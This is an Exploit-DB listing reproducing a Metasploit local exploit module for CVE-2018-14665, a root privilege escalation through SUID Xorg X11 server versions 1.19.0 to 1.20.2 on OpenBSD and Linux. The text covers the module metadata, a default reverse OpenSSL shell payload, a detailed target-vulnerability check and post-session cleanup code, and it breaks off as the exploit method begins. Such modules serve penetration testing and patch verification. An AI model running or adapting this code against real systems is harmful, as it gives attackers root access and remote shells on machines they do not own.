Exploit-DB #45908
Description: Xorg X11 Server - SUID privilege escalation (Metasploit)
Type: local
Platform: multiple
Date: 2018-11-26
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::Kernel

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Xorg X11 Server SUID privilege escalation',
      'Description'    => %q{
        This module attempts to gain root privileges with SUID Xorg X11 server
        versions 1.19.0 < 1.20.3.

        A permission check flaw exists for -modulepath and -logfile options when
        starting Xorg.  This allows unprivileged users that can start the server
        the ability to elevate privileges and run arbitrary code under root
        privileges.

        This module has been tested with OpenBSD 6.3, 6.4, and CentOS 7 (1708).
        CentOS default install will require console auth for the users session.
        Cron launches the payload so if Selinux is enforcing exploitation
        may still be possible, but the module will bail.
        Xorg must have SUID permissions and may not start if running.

        On exploitation a crontab.old backup file will be created by Xorg.
        This module will remove the .old file and restore crontab after
        successful exploitation. Failed exploitation may result in a corrupted
        crontab. On successful exploitation artifacts will be created consistant
        with starting Xorg and running a cron.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Narendra Shinde', # Discovery and exploit
          'Raptor - 0xdea',  # Modified exploit for cron
          'Aaron Ringo',     # Metasploit module
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit module
        ],
      'DisclosureDate' => 'Oct 25 2018',
      'References'     =>
        [
           [ 'CVE', '2018-14665' ],
           [ 'BID', '105741' ],
           [ 'EDB', '45697' ],
           [ 'EDB', '45742' ],
           [ 'EDB', '45832' ],
           [ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html' ],
           [ 'URL', 'https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm' ]
        ],
      'Platform'       =>  %w[openbsd linux],
      'Arch'           =>  [ARCH_CMD, ARCH_X86, ARCH_X64],
      'SessionTypes'   =>  %w[shell meterpreter],
      'Targets'        =>
        [
           ['OpenBSD', {
            'Platform' => 'unix',
            'Arch' => [ ARCH_CMD ] } ],
           ['Linux x64', {
            'Platform' => 'linux',
            'Arch' => [ ARCH_X64 ] } ],
           ['Linux x86', {
            'Platform' => 'linux',
            'Arch' => [ ARCH_X86 ] } ]
        ],
      'DefaultOptions' =>
        {
          'PAYLOAD' => 'cmd/unix/reverse_openssl',
          'WfsDelay' => 120
        },
      'DefaultTarget'  => 0))

     register_advanced_options(
       [
         OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
         OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),
         OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ])
       ]
     )
  end


  def check

    # linux checks
    uname = cmd_exec "uname"
    if uname =~ /linux/i
      vprint_status "Running additional check for Linux"
      if datastore['ConsoleLock']
        user = cmd_exec "id -un"
        unless exist? "/var/run/console/#{user}"
          vprint_error "No console lock for #{user}"
          return CheckCode::Safe
        end
        vprint_good "Console lock for #{user}"
      end
      if selinux_installed?
        if selinux_enforcing?
          vprint_error 'Selinux is enforcing'
          return CheckCode::Safe
        end
      end
      vprint_good "Selinux is not an issue"
    end

    # suid program check
    xorg_path = cmd_exec "command -v Xorg"
    unless xorg_path.include?("Xorg")
      vprint_error "Could not find Xorg executable"
      return CheckCode::Safe
    end
    vprint_good "Xorg path found at #{xorg_path}"
    unless setuid? xorg_path
      vprint_error "Xorg binary #{xorg_path} is not SUID"
      return CheckCode::Safe
    end
    vprint_good "Xorg binary #{xorg_path} is SUID"

    # version check
    x_version = cmd_exec "Xorg -version"
    if x_version.include?("Release Date")
      v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)
      unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))
        vprint_error "Xorg version #{v} not supported"
        return CheckCode::Safe
      end
    elsif x_version.include?("Fatal server error")
      vprint_error "User probably does not have console auth"
      vprint_error "Below is Xorg -version output"
      vprint_error x_version
      return CheckCode::Safe
    else
      vprint_warning "Could not parse Xorg -version output"
      return CheckCode::Appears
    end
    vprint_good "Xorg version #{v} is vulnerable"

    # process check for /X
    proc_list = cmd_exec "ps ax"
    if proc_list.include?('/X ')
      vprint_warning('Xorg in process list')
      return CheckCode::Appears
    end
    vprint_good('Xorg does not appear running')
    return CheckCode::Vulnerable
  end

  def on_new_session(session)
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.sys.process.execute '/bin/sh', "-c \"#{@clean_up}\""
    else
      session.shell_command(@clean_up)
    end
    print_good "Returning session after cleaning"
  ensure
    super
  end

  def exploit

    check_status = check
    if check_status ==